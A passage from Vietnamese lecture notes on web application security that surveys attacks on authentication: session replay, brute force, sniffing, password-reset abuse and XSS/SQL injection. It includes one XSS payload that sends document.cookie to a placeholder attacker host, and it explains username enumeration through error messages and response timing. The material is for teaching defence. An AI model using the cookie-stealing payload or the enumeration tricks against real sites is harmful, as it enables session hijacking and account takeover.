Các dạng tấn công vào các cơ chế xác thực

Một phần của tài liệu Bài giảng An toàn ứng dụng web và cơ sở dữ liệu: Phần 1 (Trang 50 - 52)

Các dạng tấn công vào các cơ chế xác thực bao gồm các dạng sau: phát lại chuỗi định danh phiên, vét cạn, nghe lén, khởi tạo lại mật khẩu và XSS / SQL Injection.

2.4.2.1. Phát lại chuỗi định danh phiên

Nhƣ đã đề cập trong Chƣơng 1, giao thức HTTP không hỗ trợ phiên (session) làm việc. Tuy nhiên, đa số các máy chủ hỗ trợ phiên làm việc bằng việc sử dụng cookie để nhận dạng ngƣời dùng. Cookie là một mẩu thông tin mà máy chủ web lƣu lên trình duyệt. Theo đó, cookie có thể lƣu thông tin về phiên nhƣ chuỗi định danh (ID) của phiên và các thông tin xác thực ngƣời dùng. Các phiên làm việc có thể đƣợc xác thực bằng 1 tên ngƣời dùng (username) và một mật khẩu (password). Kẻ tấn công có thể đánh cắp thông tin xác thực và giả danh ngƣời dùng để đăng nhập vào hệ thống.

Kẻ tấn công có thể đánh cắp thông tin xác thực ngƣời dụng sử dụng các kỹ thuật: - Tấn công XSS để đánh cắp cookie:

<img src='http://site.of.attacker/' +escape (document.cookie)>

- Tấn công CSRF để cắp cookie của ngƣời dùng đang trong phiên làm việc

- Tấn công SQL Injection để đánh cắp thông tin về phiên trong các trƣờng hợp trang web lƣu thông tin về phiên trong cơ sở dữ liệu.

2.4.2.2. Vét cạn

Tấn công vét cạn (Brute force) sử dụng kiểu quét, hoặc thử tất cả các trƣờng hợp để tìm tên ngƣời dùng và mật khẩu. Kẻ tấn công có thể dựa vào các tín hiệu phản hồi, hoặc báo lỗi của hệ thống để nhận biết dấu hiệu thành công hoặc thất bại trong vét cạn tìm mật khẩu. Chẳng hạn, nếu báo lỗi là "Invalid username and password" có nghĩa là username và password đều sai, nếu báo lỗi là "Invalid password" thì chỉ password sai, còn username đã đúng. Kẻ tấn công cũng có thể dựa vào thời gian xử lý để nhận biết: Nếu không tìm thấy username có nghĩa là thời gian tìm kiếm thƣờng dài hơn do phải quét hết

50 danh sách. Ngƣợc lại, nếu tìm thấy username thì thời gian tìm kiếm thƣờng ngắn hơn do không phải quét hết danh sách ngƣời dùng.

2.4.2.3. Nghe lén

Nghe lén (Sniffing) là việc chặn bắt lƣu lƣợng mạng truyền qua card mạng hoặc các thiết bị mạng nhƣ router hoặc switch để phân tích lấy thông tin nhạy cảm. Các mạng WLAN dễ bị nghe lén hơn do môi trƣờng truyền tín hiệu qua không khí. Lƣu lƣợng HTTP có thể dễ dàng bị nghe lén do không đƣợc mã hóa. Một số công cụ, thƣ viện nghe lén điển hình, gồm: Tcpdump, Wireshark, Pcap/Wincap và Firesheep plugin. Hình 2.13 minh họa việc nghe lén bắt token của phiên bằng Tcpdump và Hình 2.14 là giao điện nghe lén sử dụng Firesheep plug-in trong trình duyệt.

Hình 2.13.Nghe lén bắt token của phiên bằng Tcpdump

Hình 2.14.Nghe lén sử dụng Firesheep plug-in trong trình duyệt 2.4.2.4. Khởi tạo lại mật khẩu

Khởi tạo lại mật khẩu (Password resetting) là kỹ thuật khai thác điểm yếu trong tính năng khởi tạo lại mật khẩu cho ngƣời dùng hỗ trợ bởi nhiều website. Một website có thể

51 gửi mật khẩu ở dạng rõ cho ngƣời dùng qua email, hoặc cung cấp một cơ chế xác thực bằng các câu hỏi an ninh và thông tin cá nhân. Website cũng có thể gửi 1 liên kết (link) vào hộp thƣ của ngƣời dùng cho phép ngƣời dùng khởi tạo lại mật khẩu. Kẻ tấn công có thể nghe lén để đánh cắp các thông tin xác thực phụ, hoặc mật khẩu nếu đƣợc gửi dƣới dạng rõ. Hắn cũng có thể nghe lén để đánh cắp link cho phép khởi tạo lại mật khẩu và thực hiện đổi mật khẩu của ngƣời dùng.

2.4.2.5. XSS / SQL Injection

Nhƣ đã đề cập ở mục 2.1, kẻ tấn công có thể sử dụng tấn công XSS để đánh cắp thông tin phiên làm việc, cookie chứa thông tin xác thực ngƣời dùng trên các website có tồn tại lỗi cho phép tấn công XSS.

Tƣơng tự, nếu website tồn tại lỗi chèn mã SQL, kẻ tấn công cũng có thể sử dụng các kỹ thuật tấn công chèn mã SQL để đăng nhập vào hệ thống không cần mật khẩu, hoặc thậm chí đăng nhập mà không cần tên truy nhập và mật khẩu, nhƣ đã đề cập ở mục 2.3.2.

Một phần của tài liệu Bài giảng An toàn ứng dụng web và cơ sở dữ liệu: Phần 1 (Trang 50 - 52)